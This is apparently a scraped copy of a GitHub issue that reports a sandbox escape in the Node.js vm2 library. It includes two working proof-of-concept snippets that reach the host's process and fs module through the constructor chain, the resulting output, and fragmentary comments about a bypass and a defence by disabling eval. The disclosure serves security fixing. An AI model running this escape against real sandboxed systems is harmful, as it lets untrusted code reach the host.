Escaping the vm sandbox
See original GitHub issueIt’s possible to escape the VM and perform very undesirable actions.
Found via the following gist in relation to node’s native VM: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0
Take the following 2 code examples:
const VM = require('vm2').VM;
const options = {
sandbox: {}
};
const vm = new VM(options);
vm.run(`
const ForeignFunction = global.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`);
and :
const NodeVM = require('vm2').NodeVM;
const options = {
console: 'off',
sandbox: {},
require: false,
requireExternal: false,
requireNative: [],
requireRoot : "./"
};
const vm = new NodeVM(options);
vm.run(`
const ForeignFunction = global.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`);
Running either of these outputs the following:
{ dev: 16777220,
mode: 16877,
nlink: 14,
uid: 502,
gid: 20,
rdev: 0,
blksize: 4096,
ino: 14441430,
size: 476,
blocks: 0,
atime: 2016-06-15T22:20:05.000Z,
mtime: 2016-06-15T22:19:59.000Z,
ctime: 2016-06-15T22:19:59.000Z,
birthtime: 2016-06-09T01:02:12.000Z }
I’ve validated this behavior on both v4.4.5 and v6.2.1
Issue Analytics
- State:
- Created 7 years ago
- Reactions:9
- Comments:64 (11 by maintainers)
Top Results From Across the Web
Sandbox Escapes - Pentesting KB 4 Techno Herder
The process that is being isolated is called the guest. The computer that houses the sandbox (with guest) is called the host. A...
Read more >Virtual machine escape - Wikipedia
In computer security, virtual machine escape is the process of a program breaking out of the virtual machine on which it is running...
Read more >Virtual Machine Escape within Sandbox Environment - Reddit
I'm currently running a sandbox environment on my ESXI host, which sits on a physical HP server. I have quite a few VMs...
Read more >Squirrel Sandbox Escape allows Code Execution in Games ...
We discovered and reported a vulnerability in the Squirrel VM, written in C, that allows an attacker to escape the sandbox.
Read more >Virtual Machine Escape within Sandbox Environment
I'm currently running a sandbox environment on my ESXI host, which sits on a physical HP server. I have quite a few VMs...
Read more >
Top Related Medium Post
No results found
Top Related StackOverflow Question
No results found
Troubleshoot Live Code
Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free
Top Related Reddit Thread
Top Related Hackernoon Post
No results found
Top Related Tweet
No results found
Top Related Dev.to Post
No results found
Top Related Hashnode Post
No results found
Argh! You’re catching on! 😉 I must apologize for leading you on like this. For any audience out there; the problem with VM scope in node.js is with references to objects in the host scope (from which you can gain a reference to all of host scope via the prototype chain).
Now that you’ve overridden the
constructorproperty, I’ll have to go underneath it:FWIW, we solved this just by disabling
eval… and being very careful about not exposing references into the sandbox.This prevents the escape since the
return processstring is unable to be evaluated. As a consequent, it also disables legitimateeval()and Function Generator Constructor calls. (The utility of these features is rather questionable.)